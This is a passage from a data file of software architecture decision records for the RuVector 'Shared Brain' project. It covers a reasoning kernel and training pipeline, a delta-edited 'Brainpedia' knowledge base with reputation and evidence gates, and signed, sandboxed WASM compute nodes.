retrieval help substantially, but there is a ceiling.\n\n**Replace a large model on broad world knowledge**: The brain stores distilled artifacts, not the full distribution of human text. The system wins by focus, not by universality.\n\n## 3. Reasoning Kernel Design\n\n### 3.1 Reasoning Kernel Definition\n\nThe reasoning kernel is the fixed protocol by which ruvllm processes a task using the brain.\n\n**Input**: A task type from a bounded set (initially: fix failing tests, explain ADR contradictions, generate RVF segments, perform mincut-gated decisions).\n\n**Output**: A fixed action format with tool calls, intermediate checks, and a final answer format.\n\n**Invariant**: Every reasoning step produces a witnessable artifact \u2014 a check result, a test pass, a proof token, or a retrieval citation from the brain. This makes reasoning verifiable and replayable.\n\n### 3.2 Memory Architecture\n\nThe kernel operates with two memory layers sourced from the brain:\n\n**Working memory** (per-task, ephemeral):\n- RAG into the current context window using `brain_search`\n- Local repo context (files, errors, stack traces)\n- Retrieved similar trajectories with quality scores\n\n**Skill memory** (cross-session, persistent):\n- High-quality patterns from `brain_search(min_quality: 0.7)`\n- PolicyKernel snapshots that bias the plan generator\n- CostCurve data that predicts acceleration factors\n- MicroLoRA consensus weights that transform embeddings toward effective solution regions\n\n### 3.3 Reasoning Loop\n\n```\n1. CLASSIFY task type from bounded set\n2. PULL working memory: brain_search(query, category, min_quality)\n3. PULL skill memory: brain_sync(direction: \"pull\") for MicroLoRA consensus\n4. PLAN using retrieved patterns + local context\n5. EXECUTE with tool calls, recording each step as witnessable artifact\n6. VERIFY against success criteria (test pass, proof token, etc.)\n7. If success:\n a. brain_share(category, result) \u2014 contribute solution\n b. brain_vote(id, \"up\") on retrieved patterns that helped\n c. brain_sync(direction: \"push\") \u2014 export local LoRA deltas\n8. If failure:\n a. brain_vote(id, \"down\") on retrieved patterns that misled\n b. Record failure trajectory for negative example mining\n```\n\n## 4. Training Pipeline \u2014 Growing ruvllm Through Brain Data\n\nThe brain accumulates exactly the data types needed for targeted model improvement. Training happens in three layers.\n\n### 4.1 Layer A: Preference Learning from Votes\n\n**Data source**: `brain_vote` events produce (memory, direction) pairs. Over time, this builds a preference dataset: for a given task type, which solution patterns are preferred (upvoted) vs rejected (downvoted).\n\n**Training method**: Direct Preference Optimization (DPO) or reward model training on the targeted model. The Bayesian quality scores (`BetaParams`) provide confidence-weighted preference signals \u2014 high-observation memories with clear quality separation are stronger training signals than low-observation ones.\n\n**Frequency**: Batch, triggered when accumulated vote pairs exceed a threshold (e.g., 500 new preference pairs per domain).\n\n### 4.2 Layer B: Imitation Learning from Successful Trajectories\n\n**Data source**: SONA trajectories with quality > 0.7, exported via `AgentExport` from `sona::training::federated`. Each trajectory includes the sequence of tool calls, intermediate states, and final outcome.\n\n**Training method**: Supervised fine-tuning on high-quality trajectories. Narrow and task-specific \u2014 only trajectories from the target domain (e.g., \"debug\" category memories with quality > 0.7).\n\n**Curriculum**: Use `brain_partition` clusters to group trajectories by difficulty. Train easy clusters first, hard clusters later (curriculum learning).\n\n### 4.3 Layer C: Continual Learning with Forgetting Control\n\n**Data source**: All layers A and B, plus replay buffers keyed by domain and mincut partition.\n\n**Training method**: Elastic Weight Consolidation (EWC) with lambda=2000.0 (matching SONA's existing EWC configuration). The Fisher information matrix is computed per-domain partition, so the model preserves capabilities in well-established domains while adapting to new ones.\n\n**Replay buffer design**: Each mincut partition maintains a fixed-size replay buffer (100 exemplars). When a new exemplar is added, the lowest-quality one is evicted. This prevents catastrophic forgetting on older domains while allowing new domains to develop.\n\n### 4.4 Training Data Flow\n\n```\nBrain Events Training Pipeline\n----------- ------------------\nbrain_vote(up/down) --> Layer A: Preference pairs\nbrain_share(quality>0.7) --> Layer B: Imitation trajectories\nbrain_partition clusters --> Layer C: EWC domains + replay buffers\nbrain_sync (LoRA deltas) --> Continuous adapter refinement\n```\n\n## 5. Parameter Growth Strategy\n\nAdd capacity only when a measured ceiling is reached. If the model cannot solve a class of tasks even with perfect retrieval and high-quality patterns, then expand.\n\n### 5.1 Growth Decision Criteria\n\nTrigger parameter growth when:\n- Success rate on a domain benchmark plateaus for 3+ epochs despite growing memory\n- Retrieval recall@10 is > 80% (the right knowledge is available) but task success < 60% (the model cannot use it)\n- MicroLoRA weight norms are saturating (approaching clipping bounds consistently)\n\n### 5.2 Growth Options (Ordered by Cost)\n\n**Option 1: Expand adapter rank** (cheapest)\nIncrease MicroLoRA rank from 2 to 4 or 8 for specific layers. Keep base frozen. This quadruples expressiveness for 4x parameter cost (still < 10KB per sync).\n\n**Option 2: Add specialist heads per domain partition** (moderate)\nMixture-of-experts routing using mincut partitions as the router signal. Each partition gets a small specialist head. Base model shared, routing learned from partition assignments.\n\n**Option 3: Train a larger ruvllm tier and distill** (expensive)\nUse the brain to provide curriculum and hard negative examples. Distill from the larger model back to the smaller one, keeping the brain-augmented inference path.\n\n## 6. Evaluation Framework\n\n### 6.1 Metrics\n\n| Metric | Definition | Target |\n|--------|-----------|--------|\n| **Quality** | Success rate on fixed benchmark per domain | >= 80% on target domain |\n| **Efficiency** | Median tokens + tool calls per solved task | >= 30% reduction vs baseline |\n| **Reliability** | Variance reduction across epochs | Std dev < 0.5x baseline |\n| **Safety** | Poisoning simulation behavior deviation | < 5% regression under 30% adversarial |\n\n### 6.2 Three-System Comparison\n\nFor each target domain, compare:\n1. **Baseline ruvllm**: No brain, no retrieval, no LoRA\n2. **ruvllm + brain retrieval**: brain_search for working memory, no LoRA\n3. **ruvllm + brain retrieval + MicroLoRA**: Full pipeline with federated weights\n\nPass criteria:\n- System 3 achieves >= 20% higher success rate than System 1\n- System 3 achieves >= 30% fewer tokens per success than System 1\n- Regressions held under 5% across 3 consecutive sync epochs\n\n### 6.3 Initial Benchmark: Fix Failing Tests\n\n**Domain**: Rust crate test failures across the RuVector monorepo.\n\n**Benchmark size**: 100 items (real test failures extracted from CI history).\n\n**Task format**: Given a failing test and its error output, produce a fix that makes the test pass.\n\n**Success criteria**: The fix compiles and the specific test passes. No regressions in other tests.\n\n**Why this domain first**:\n- Highest frequency task in daily development\n- Binary success signal (test passes or does not)\n- Bounded \u2014 Rust compiler errors are structured and classifiable\n- Rich trajectory data from existing sessions\n- Direct impact on developer velocity\n\n## 7. Hybrid Lane Architecture\n\nruvllm is offline-capable by default. The brain is an optional accelerator, not a dependency.\n\n### 7.1 Degradation Path\n\n| Connectivity | Available Features | Performance |\n|-------------|-------------------|-------------|\n| **Full** (brain reachable) | All 11 MCP tools + MicroLoRA sync + retrieval | Best |\n| **Partial** (brain slow/intermittent) | Local SONA + cached consensus LoRA + hash features | Good |\n| **Offline** (no brain) | Local SONA + hash-only features | Baseline |\n\nThe `BrainEmbedder` already implements this degradation:\n- If consensus LoRA cached: use it (no network needed)\n- If SONA engine available: use local LoRA from SONA\n- Otherwise: structured hash features only\n\n### 7.2 Sync Cadence\n\n`brain_sync` is explicit opt-in, not automatic. Recommended cadence:\n- **On session start**: `brain_sync(direction: \"pull\")` \u2014 get latest consensus\n- **On session end**: `brain_sync(direction: \"push\")` \u2014 export local learning\n- **Periodically during long sessions**: Every ~100 embeddings processed\n\n## 8. Implementation Status\n\n### Implemented (in this branch)\n\n| Component | Status |\n|-----------|--------|\n| Structured hash features (Stage 1 embedding) | Shipped, 6 new tests |\n| MicroLoRA forward pass (Stage 2 embedding) | Shipped |\n| Consensus import/export (`BrainEmbedder`) | Shipped |\n| `GET /v1/lora/latest` | Shipped |\n| `POST /v1/lora/submit` | Shipped |\n| Gate A policy validation | Shipped |\n| Gate B robust aggregation (median + MAD + reputation) | Shipped |\n| Consensus drift monitoring + rollback | Shipped |\n| `brain_sync` MCP tool | Shipped |\n| Hybrid degradation path | Shipped |\n\n### Deferred (future work)\n\n| Component | Priority | Dependency |\n|-----------|----------|------------|\n| Training data export endpoints | High | Need trajectory format spec |\n| Preference pair extraction from votes | High | Need DPO training loop |\n| Trajectory quality filtering | Medium | Need benchmark suite |\n| EWC per-partition Fisher matrices | Medium | Need partition stability |\n| Specialist head routing | Low | Need ceiling measurement |\n| 100-item benchmark harness | High | Need CI history extraction |\n\n## 9. Answers to Design Questions\n\n**Q: What is the narrowest set of tasks to beat a traditional LLM on first?**\n\nA: Code debugging \u2014 specifically, fix failing tests in Rust crates. Highest frequency, clearest success signal, bounded domain, rich trajectory data already available.\n\n**Q: Should ruvllm remain fully offline capable by default?**\n\nA: Yes, with a hybrid lane for acceleration. The `BrainEmbedder` degradation path (consensus LoRA -> local SONA -> hash-only) ensures offline functionality. The brain is an accelerator, not a dependency.\n\n## 10. Related ADRs\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-057 | Federated RVF Transfer Learning \u2014 protocol foundation |\n| ADR-058 | Hash Security Optimization \u2014 SHAKE-256 for content integrity |\n| ADR-059 | Shared Brain Google Cloud \u2014 infrastructure and security |\n| ADR-060 | Shared Brain Capabilities \u2014 sub-capabilities and business outcomes |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-061-reasoning-kernel-architecture.md", "created_at": "2026-03-28T11:58:49.704148+00:00", "content_hash": "5dd9370d46c0bd9ddfe7776647c1fea15f0bbb380009ba510d6db59a60d83aab"} +{"id": "ca7d6487-1203-4158-8530-7fe18a51ae68", "source": "adr", "text": "# ADR-062: Brainpedia \u2014 Structured Knowledge Encyclopedia with Delta-Based Editing\n\n**Status**: Accepted\n**Date**: 2026-02-27\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-060 (Shared Brain Capabilities), ADR-061 (Reasoning Kernel Architecture)\n\n## 1. Context\n\nThe Shared Brain (ADR-059, ADR-060) accumulates knowledge as individual memories \u2014 embeddings, quality scores, witness chains. But memories are granular artifacts, not structured knowledge. A developer looking for \"how does RVF serialization work\" may find 30 loosely related memories with no coherent narrative.\n\nWikipedia solves this for human text. The Brainpedia applies the same concept \u2014 canonical, community-maintained knowledge pages \u2014 but the unit of contribution is not raw text. It is a structured, versioned, verifiable knowledge artifact with outcomes.\n\nEvery entry is an RVF memory plus a delta stream. Contributions are deltas, not overwrites. Evidence links tie claims to outcome proofs. Transfer assets make knowledge portable across domains. The result is a knowledge encyclopedia that is executable, learning-native, transferable, and reversible.\n\n## 2. Design Principles\n\n### 2.1 The Unit of Contribution\n\nA Brainpedia contribution is one of:\n\n**RVF Memory**: A canonical knowledge artifact with the standard 10-segment layout (ADR-060 Section 2.5). This is the stable snapshot \u2014 the \"current page version.\"\n\n**Delta Entry**: A structured modification to an existing page. Deltas carry their own witness chain and are individually verifiable. A delta contains:\n- `parent_id`: The memory ID being modified\n- `delta_type`: One of `Correction`, `Extension`, `Evidence`, `Deprecation`\n- `content_diff`: The structured change (not raw text diff \u2014 semantic field updates)\n- `evidence_links`: Outcome proofs that support the change\n- `contributor_id`: Pseudonym of the contributor\n- `witness_hash`: SHAKE-256 chain entry for this delta\n\n**Evidence Link**: A reference to a verifiable outcome that supports a claim. Evidence types:\n- `TestPass { test_name, repo, commit_hash }`: A test that passed after applying the knowledge\n- `BuildSuccess { pipeline_url, commit_hash }`: A CI build that succeeded\n- `MetricImproval { metric_name, before, after, measurement_url }`: A measured improvement\n- `PeerReview { reviewer_pseudonym, vote_direction, quality_score }`: A peer attestation\n\n### 2.2 Properties of Knowledge Entries\n\nEvery Brainpedia entry is:\n\n**Executable**: Contains embeddings, transfer priors, and policy kernels that can be directly consumed by `brain_search`, `brain_sync`, and `brain_transfer`. Knowledge is not just readable \u2014 it is machine-consumable.\n\n**Learning-native**: Quality scores update via Bayesian voting (BetaParams). High-quality entries strengthen the MicroLoRA consensus. Low-quality entries are auto-archived. The encyclopedia improves through use.\n\n**Transferable**: Transfer assets (TransferPrior, PolicyKernel, CostCurve) enable cross-domain knowledge portability. A debugging pattern from Rust can transfer to TypeScript with measured acceleration.\n\n**Reversible**: No direct mutation. Every change is a delta. The full history is reconstructable from the delta stream. Any delta can be reverted by applying a compensating delta. Witness chains prove the order and integrity of all changes.\n\n## 3. Page Structure\n\nA Brainpedia page is a canonical memory plus its delta log.\n\n### 3.1 Canonical Page\n\nThe canonical page is a `BrainMemory` with `page_status: Canonical`. It represents the current community-accepted version of the knowledge. Canonical pages have:\n\n- `category`: The knowledge domain (Architecture, Pattern, Solution, Debug, etc.)\n- `title`: Human-readable page title (unique within category)\n- `content`: The structured knowledge content\n- `tags`: Searchable labels\n- `embedding`: Structured hash features + MicroLoRA transform (standard pipeline)\n- `quality_score`: Bayesian BetaParams accumulated from votes\n- `evidence_count`: Number of verified evidence links\n- `delta_count`: Number of applied deltas\n- `transfer_assets`: Optional TransferPrior + PolicyKernel + CostCurve\n\n### 3.2 Delta Log\n\nEach page maintains an ordered delta log. Deltas are immutable once accepted. The delta log enables:\n\n- **Version reconstruction**: Any historical version can be reconstructed by replaying deltas\n- **Attribution**: Every change is attributed to a specific contributor\n- **Audit**: Witness chains prove the integrity of the delta sequence\n- **Revert**: A `Deprecation` delta marks a previous delta as superseded\n\n### 3.3 Evidence Links\n\nEvidence links are the mechanism by which the encyclopedia distinguishes claims from knowledge. A claim without evidence is a candidate. A claim with evidence is knowledge.\n\n**Evidence lifecycle**:\n1. Contributor submits a delta with one or more evidence links\n2. Server verifies evidence link format and contributor authentication\n3. Evidence is recorded in the delta's witness chain\n4. Other contributors can add corroborating evidence via additional deltas\n5. Quality score reflects the evidence density: more verified evidence = higher quality\n\n## 4. Governance Gates\n\nThree gates control what enters the encyclopedia and how.\n\n### 4.1 Gate 1: Identity\n\nAll contributions require API key authentication with contributor pseudonym derivation (same as ADR-060 Section 6). Anonymous users can read but cannot contribute. This prevents Sybil attacks on the knowledge base.\n\n### 4.2 Gate 2: Evidence\n\n**For deltas**: Every delta must include at least one evidence link. A correction without evidence is rejected. An extension without evidence is held in a `Proposed` state until evidence is added.\n\n**For new pages**: A new canonical page requires at least 3 evidence links from independent contributors (not the page creator) before promotion from `Draft` to `Canonical`. This ensures community validation before knowledge becomes authoritative.\n\n**Evidence verification**: The server does not execute tests or check CI \u2014 it verifies that evidence links are well-formed, that the contributor is authenticated, and that the linked artifacts exist (where checkable). Outcome verification is a community responsibility: voters assess whether evidence is credible.\n\n### 4.3 Gate 3: Consensus\n\n**Page promotion**: A Draft page becomes Canonical when:\n- `quality_score.mean() >= 0.7` (community approval)\n- `quality_score.observations() >= 5` (sufficient review)\n- `evidence_count >= 3` from `>= 2` distinct contributors\n\n**Delta acceptance**: A delta is accepted when:\n- Contributor is authenticated (Gate 1)\n- At least one evidence link is provided (Gate 2)\n- Contributor has not been flagged for poisoning (reputation > 0.1)\n\n**Delta promotion to canonical**: When a delta accumulates sufficient quality votes, the canonical page is updated to incorporate the delta. The old canonical version is preserved in the delta log.\n\n## 5. Submission Model\n\n### 5.1 New Users (Reputation < 0.5, Contribution Count < 10)\n\nNew users can:\n- Read all pages and delta logs\n- Submit deltas to existing pages (with evidence)\n- Vote on pages and deltas\n- Cannot create new canonical pages\n\nThis prevents low-reputation users from flooding the encyclopedia with low-quality pages while still allowing them to contribute improvements to existing knowledge.\n\n### 5.2 Established Users (Reputation >= 0.5, Contribution Count >= 10)\n\nEstablished users can:\n- All new user capabilities\n- Create new pages (initially as `Draft`)\n- Promote deltas with sufficient evidence\n\n### 5.3 System Contributors\n\nSystem contributors (`is_system: true`, e.g., `ruvector-seed`) can:\n- All established user capabilities\n- Create pages directly as `Canonical` (for seed data)\n- Bypass evidence count requirements (seed data is pre-validated)\n\n## 6. Delta-Based Editing Protocol\n\n### 6.1 No Direct Mutation\n\nThe Brainpedia has no \"edit page\" operation. All modifications are deltas. This is enforced at the API level \u2014 the `PUT /v1/pages/{id}` endpoint does not exist.\n\n### 6.2 Delta Types\n\n**Correction**: Fixes an error in the canonical page. Requires evidence showing the current content is wrong and the correction is right.\n\n**Extension**: Adds new information to the canonical page. Requires evidence showing the extension is valid and useful.\n\n**Evidence**: Adds a new evidence link to an existing claim. No content change \u2014 purely strengthens the evidentiary basis.\n\n**Deprecation**: Marks the canonical page or a specific delta as superseded. Requires evidence showing why the content is no longer valid (e.g., a library version change, a security vulnerability discovered).\n\n### 6.3 Conflict Resolution\n\nWhen multiple deltas target the same section of a canonical page, conflict resolution uses:\n\n1. **Quality score**: Higher-quality deltas take precedence\n2. **Evidence density**: More evidence wins ties\n3. **Recency**: Among equal quality and evidence, newer deltas win\n4. **Manual resolution**: If automated resolution fails, the page enters `Contested` status and requires a contributor with reputation >= 0.7 to resolve\n\n## 7. First Domain: Code Debugging\n\nThe first domain for the Brainpedia is **code debugging** (category: `Debug`). Rationale (same as ADR-061 Section 6.3):\n\n- Highest frequency task in daily development\n- Binary success signal (test passes or does not)\n- Bounded domain \u2014 compiler errors are structured and classifiable\n- Rich trajectory data from existing sessions\n- Direct impact on developer velocity\n\n### 7.1 Initial Page Structure for Debug Domain\n\nEach debug page covers a specific failure class:\n\n**Title**: Descriptive name for the failure pattern (e.g., \"tokio::spawn deadlock with parking_lot::RwLock\")\n\n**Content**: Structured fields:\n- `error_pattern`: The error message or symptom signature\n- `root_cause`: Why this failure occurs\n- `fix_pattern`: The canonical fix approach\n- `code_before`: Example code that triggers the failure\n- `code_after`: Example code after the fix\n- `applies_to`: Language, framework, and version constraints\n\n**Evidence**: TestPass links showing the fix resolves the error in specific repositories.\n\n**Transfer assets**: TransferPrior for similar concurrency patterns in other async runtimes.\n\n### 7.2 Seed Pages\n\nThe seed pipeline (`ruvector-seed` contributor) will create initial debug pages from:\n- Known Rust compiler error patterns\n- Common `tokio` / `async-std` pitfalls\n- RVF serialization edge cases\n- MinCut graph construction errors\n- SONA learning convergence failures\n\n## 8. Data Model Extensions\n\n### 8.1 New Types\n\n```rust\n/// Page status in the Brainpedia lifecycle\npub enum PageStatus {\n Draft, // Newly created, awaiting evidence and votes\n Canonical, // Community-accepted, authoritative\n Contested, // Conflicting deltas, needs resolution\n Archived, // Superseded or low-quality, read-only\n}\n\n/// A delta entry modifying a canonical page\npub struct PageDelta {\n pub id: Uuid,\n pub page_id: Uuid, // The canonical page being modified\n pub delta_type: DeltaType,\n pub content_diff: serde_json::Value, // Structured field updates\n pub evidence_links: Vec,\n pub contributor_id: String,\n pub quality_score: BetaParams,\n pub witness_hash: String,\n pub created_at: DateTime,\n}\n\npub enum DeltaType {\n Correction,\n Extension,\n Evidence,\n Deprecation,\n}\n\n/// Evidence linking a claim to a verifiable outcome\npub struct EvidenceLink {\n pub evidence_type: EvidenceType,\n pub description: String,\n pub contributor_id: String,\n pub verified: bool, // Server-side format check passed\n pub created_at: DateTime,\n}\n\npub enum EvidenceType {\n TestPass { test_name: String, repo: String, commit_hash: String },\n BuildSuccess { pipeline_url: String, commit_hash: String },\n MetricImproval { metric_name: String, before: f64, after: f64 },\n PeerReview { reviewer: String, direction: VoteDirection, score: f64 },\n}\n```\n\n### 8.2 Extended BrainMemory\n\nThe existing `BrainMemory` gains optional page metadata:\n\n```rust\n// Added to BrainMemory\npub page_status: Option,\npub evidence_count: u32,\npub delta_count: u32,\n```\n\n### 8.3 New API Endpoints\n\n| Method | Path | Purpose | Gate |\n|--------|------|---------|------|\n| POST | `/v1/pages` | Create a new Draft page | Identity + Reputation >= 0.5 |\n| GET | `/v1/pages/{id}` | Get page with delta log | Public read |\n| POST | `/v1/pages/{id}/deltas` | Submit a delta | Identity + Evidence |\n| GET | `/v1/pages/{id}/deltas` | List deltas for a page | Public read |\n| POST | `/v1/pages/{id}/evidence` | Add evidence to a page | Identity |\n| POST | `/v1/pages/{id}/promote` | Promote Draft to Canonical | Consensus (auto-checked) |\n\n### 8.4 New MCP Tools\n\n| Tool | Purpose |\n|------|---------|\n| `brain_page_create` | Create a new knowledge page (Draft) |\n| `brain_page_get` | Get a page with its delta log and evidence |\n| `brain_page_delta` | Submit a delta to an existing page |\n| `brain_page_evidence` | Add evidence to a page or delta |\n| `brain_page_search` | Search pages by title, content, or category |\n| `brain_page_list` | List pages by category, status, or quality |\n\n## 9. Implementation Status\n\n### Deferred (Future Work)\n\nAll components described in this ADR are deferred for future implementation. They build on the existing Shared Brain infrastructure (ADR-059, ADR-060) which is fully implemented.\n\n| Component | Priority | Dependency |\n|-----------|----------|------------|\n| `PageStatus` enum + `PageDelta` types | High | None (types only) |\n| Delta submission endpoint | High | Types |\n| Evidence link validation | High | Delta endpoint |\n| Page creation with reputation gate | Medium | Reputation system (shipped) |\n| Page promotion logic | Medium | Evidence + quality thresholds |\n| Conflict resolution | Low | Multiple concurrent deltas |\n| Seed debug pages | High | Page creation endpoint |\n| MCP tools (6 new) | Medium | All endpoints |\n\n## 10. Acceptance Criteria\n\n### Evidence-Gated Quality\n\n- 50 debug pages seeded from known Rust error patterns\n- Each page requires >= 3 evidence links before Canonical promotion\n- Pages without evidence remain Draft and are excluded from `brain_search` top-k results\n- Quality score distribution: Canonical pages have mean quality >= 0.7\n\n### Delta Integrity\n\n- Full delta log reconstructs any historical page version\n- Every delta has a witness chain entry verifiable by any participant\n- Deprecation deltas correctly mark superseded content\n- No direct mutation path exists (no PUT endpoint on page content)\n\n### Reputation Gating\n\n- New users (reputation < 0.5) cannot create pages (403 response)\n- New users can submit deltas with evidence (accepted)\n- System contributors can create Canonical pages directly\n- Poisoned contributor (reputation < 0.1) cannot submit deltas (403 response)\n\n### First Domain Validation\n\nRun on the Debug category:\n- 50 seeded debug pages covering common Rust error patterns\n- 10 community-contributed deltas with TestPass evidence\n- 5 pages promoted from Draft to Canonical via consensus\n- Mean search recall@10 on debug queries >= 40% improvement vs unstructured memories\n\n## 11. Answers to Design Questions\n\n**Q: What is the first domain you want the community Brainpedia to cover?**\n\nA: Code debugging. Same rationale as ADR-061: highest frequency task, binary success signal, bounded domain, richest existing trajectory data. Debug pages have natural evidence links (TestPass, BuildSuccess) that make the evidence gate practical from day one.\n\n**Q: Do you want anyone to be able to submit pages, or only submit deltas to existing pages until they earn reputation?**\n\nA: Deltas only until reputation is earned. New users (composite reputation < 0.5, contribution count < 10) can submit deltas to existing pages but cannot create new pages. This prevents low-reputation flooding while encouraging incremental improvement. Page creation requires demonstrated quality through delta contributions.\n\n## 12. Related ADRs\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-057 | Federated RVF Transfer Learning \u2014 protocol foundation |\n| ADR-058 | Hash Security Optimization \u2014 SHAKE-256 for content integrity |\n| ADR-059 | Shared Brain Google Cloud \u2014 infrastructure and security |\n| ADR-060 | Shared Brain Capabilities \u2014 sub-capabilities and business outcomes |\n| ADR-061 | Reasoning Kernel Architecture \u2014 training pipeline that consumes Brainpedia data |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-062-brainpedia-architecture.md", "created_at": "2026-03-28T11:58:49.704330+00:00", "content_hash": "a50ca5dd73edd64970173731ba01b27414c1835c39b489fd8f6135265148947a"} +{"id": "51c27102-c3cf-4c65-9c21-4e7b322599ed", "source": "adr", "text": "# ADR-063: WASM Executable Nodes \u2014 Deterministic Compute at the Edge\n\n**Status**: Accepted\n**Date**: 2026-02-27\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-060 (Shared Brain Capabilities), ADR-062 (Brainpedia Architecture)\n\n## 1. Context\n\nThe Shared Brain stores knowledge as embeddings and serves MicroLoRA weights. But the embedding pipeline \u2014 structured hash features, LoRA transform, L2 normalization \u2014 runs only on the server and in the local MCP client. Browser users, edge appliances, and third-party integrations cannot produce compatible embeddings without reimplementing the pipeline.\n\nWASM solves this. A signed WASM module that implements feature extraction can run identically in the browser, on the appliance, and on the server. The same bytecode, the same results, cryptographically verified.\n\nThis ADR defines the WASM node architecture: how nodes are built, signed, served, executed, and integrated with the Shared Brain and MicroLoRA pipeline.\n\n## 2. What WASM Nodes Enable\n\n### 2.1 Executable Knowledge Pages\n\nA Brainpedia entry can include a small WASM module that validates, scores, normalizes, or transforms content locally. Knowledge becomes executable, not just readable.\n\n### 2.2 Deterministic Verification\n\nThe same scoring and feature extraction runs in browser, on the appliance, and on the server with identical results. No \"works on my machine\" for embeddings.\n\n### 2.3 Safer Public Compute\n\nWASM with capability gating lets untrusted users run brain logic without server-side code execution. Pure compute only \u2014 no filesystem, no network, no clock access.\n\n## 3. Node Architecture\n\n### 3.1 WASM Segment Type\n\nWASM nodes are signed RVF artifacts. They use the existing RVF segment layout with a new segment type for WASM bytecode.\n\nA node RVF container contains:\n- `MANIFEST (0x05)`: Segment directory\n- `META_SEG (0x07)`: Node name, version, description, interface schema\n- `WASM_SEG (0x40)`: WASM bytecode (compiled, not WAT)\n- `WITNESS_SEG (0x0A)`: SHAKE-256 hash chain (build \u2192 sign \u2192 publish)\n- `CRYPTO_SEG (0x0C)`: Ed25519 signature over all segments\n\n### 3.2 Hash Choice Consistency\n\nTwo hash functions serve distinct purposes:\n\n**SHA-256** for HTTP-layer integrity: `X-Node-SHA256` header, `wasm_sha256` in signed manifests, GCS content-addressed storage paths, browser cache keys. SHA-256 is conventional for HTTP caching and CDN infrastructure.\n\n**SHAKE-256** for RVF witness chains: all WITNESS_SEG entries use SHAKE-256 to maintain consistency with the global RVF witness chain convention (ADR-058). Witness chains are internal to the RVF container format, not exposed via HTTP.\n\nThese do not conflict. SHA-256 is the identity hash visible to HTTP clients. SHAKE-256 is the provenance hash visible to RVF verifiers.\n\n### 3.3 V1 ABI Specification\n\nThe v1 ABI is `feature_extract` only. `score` and `validate` are deferred to v2 after the determinism guarantee is proven on the simpler single-function interface. Keeping v1 to one function reduces the ABI surface that must be verified across three runtimes.\n\n**ABI version**: `1`\n\n**Required exports**:\n- `memory`: Linear memory export (must declare a maximum size, rejected if absent or > 16 pages)\n- `malloc(size: i32) -> i32`: Allocate memory for input\n- `feature_extract_dim() -> i32`: Return the output dimension (must be constant, e.g., 128)\n- `feature_extract(in_ptr: i32, in_len: i32, out_ptr: i32) -> i32`: Extract features from text at `in_ptr`/`in_len`, write f32 vector to `out_ptr`, return dimension written\n\n**Calling convention**:\n1. Caller invokes `feature_extract_dim()` to learn output size\n2. Caller allocates input buffer via `malloc(input_bytes_len)`\n3. Caller writes UTF-8 text into the allocated buffer\n4. Caller allocates output buffer via `malloc(dim * 4)` (f32 = 4 bytes)\n5. Caller invokes `feature_extract(in_ptr, in_len, out_ptr)` \u2192 returns `dim`\n6. Caller reads `dim` f32 values directly from `memory` at `out_ptr`\n\nNo global result state. No `read_f32` indirection. The caller owns both input and output pointers. This is the fastest path in both browser and wasmtime.\n\n**Embedded lookup tables**: Nodes MAY include constant data (token maps, n-gram tables, normalization tables) compiled into the WASM data section. This is fine \u2014 the data section is part of the signed bytecode and does not violate the pure-compute constraint. The data section is immutable at runtime.\n\n### 3.4 Determinism Constraints\n\n\"Bit-identical\" is a strong claim. These constraints make it true in practice:\n\n1. **No f64 in v1 nodes**: All arithmetic uses f32 only. f64 intermediate results are prohibited because fused multiply-add behavior varies across engines for f64.\n2. **No SIMD for v1 nodes**: The WASM module must not use the SIMD proposal. SIMD instruction selection and NaN propagation differ across engines.\n3. **Deterministic compilation flags**: Nodes must be compiled with `no-fast-math` (Rust: `-C target-feature=-fast-math`, or simply do not opt in). No `-ffast-math`, no `reassociate`, no `reciprocal`.\n4. **NaN scrubbing before output**: The last operation before writing each f32 to the output buffer must check for NaN and replace with 0.0f32. This prevents non-deterministic NaN propagation from producing environment-dependent results.\n5. **Rounding mode**: IEEE 754 round-to-nearest-even (the WASM default). No explicit rounding mode changes.\n\nThese constraints are verified at publish time where possible (SIMD detection, f64 usage detection via module inspection) and at runtime via conformance test vectors.\n\n### 3.5 Capability Model\n\n**V1: zero imports**. The WASM module's import section must be empty. No `env`, no WASI, no custom imports. If the import section is non-empty, the module is rejected at publish time. This is the cleanest rule for pure compute.\n\nIf future nodes require host capabilities (v2+), they are served from a separate endpoint (`/v1/nodes/privileged/`) with explicit capability declarations. Privileged nodes require reputation >= 0.7 to publish.\n\n### 3.6 Resource Limits\n\nResource limits are defined differently per environment because browser Workers lack instruction-level metering.\n\n**Server and appliance (wasmtime)**:\n- Max fuel: calibrated to 25ms on reference CPU (equivalent to ~100M simple instructions)\n- Max memory: module must declare maximum <= 16 pages (1MB)\n- Epoch interruption as backstop\n\n**Browser (WebAssembly.instantiate in Worker)**:\n- Max wall clock: 25ms (Worker `setTimeout` termination)\n- Max input size: 8KB UTF-8\n- Worker isolation: `postMessage` only, no DOM, no fetch, no storage\n\n**All environments**:\n- Max WASM binary size: 1MB\n- Max input size: 8KB UTF-8\n\nThe 25ms budget is aligned across environments. Server fuel is calibrated against reference CPU to approximate 25ms of compute.\n\n## 4. Signing and Verification\n\n### 4.1 Canonical Signed Manifest\n\nThe Ed25519 signature covers a canonical binary manifest, not raw JSON. This prevents serialization differences from breaking verification.\n\n**Signed manifest fields** (fixed-order binary encoding):\n\n| Field | Type | Bytes |\n|-------|------|-------|\n| `abi_version` | u8 | 1 |\n| `id_len` | u16 LE | 2 |\n| `id` | UTF-8 | variable |\n| `version_len` | u16 LE | 2 |\n| `version` | UTF-8 | variable |\n| `dim` | u16 LE | 2 |\n| `wasm_sha256` | [u8; 32] | 32 |\n| `created_at` | i64 LE (Unix epoch seconds) | 8 |\n| `allowed_imports_hash` | [u8; 32] | 32 (SHA-256 of empty string for v1) |\n| `compiler_tag_len` | u16 LE | 2 |\n| `compiler_tag` | UTF-8 | variable (e.g., \"rustc-1.77-wasm32\") |\n\nThe signature is `Ed25519.sign(signing_key, manifest_bytes)`. Verification is `Ed25519.verify(public_key, manifest_bytes, signature)`.\n\nThis encoding is deterministic: fixed field order, little-endian integers, explicit length prefixes. No JSON, no CBOR, no ambiguity.\n\n### 4.2 Verification Flow\n\n1. Client fetches node metadata (`GET /v1/nodes/{id}/{version}`)\n2. Client fetches WASM binary (`GET 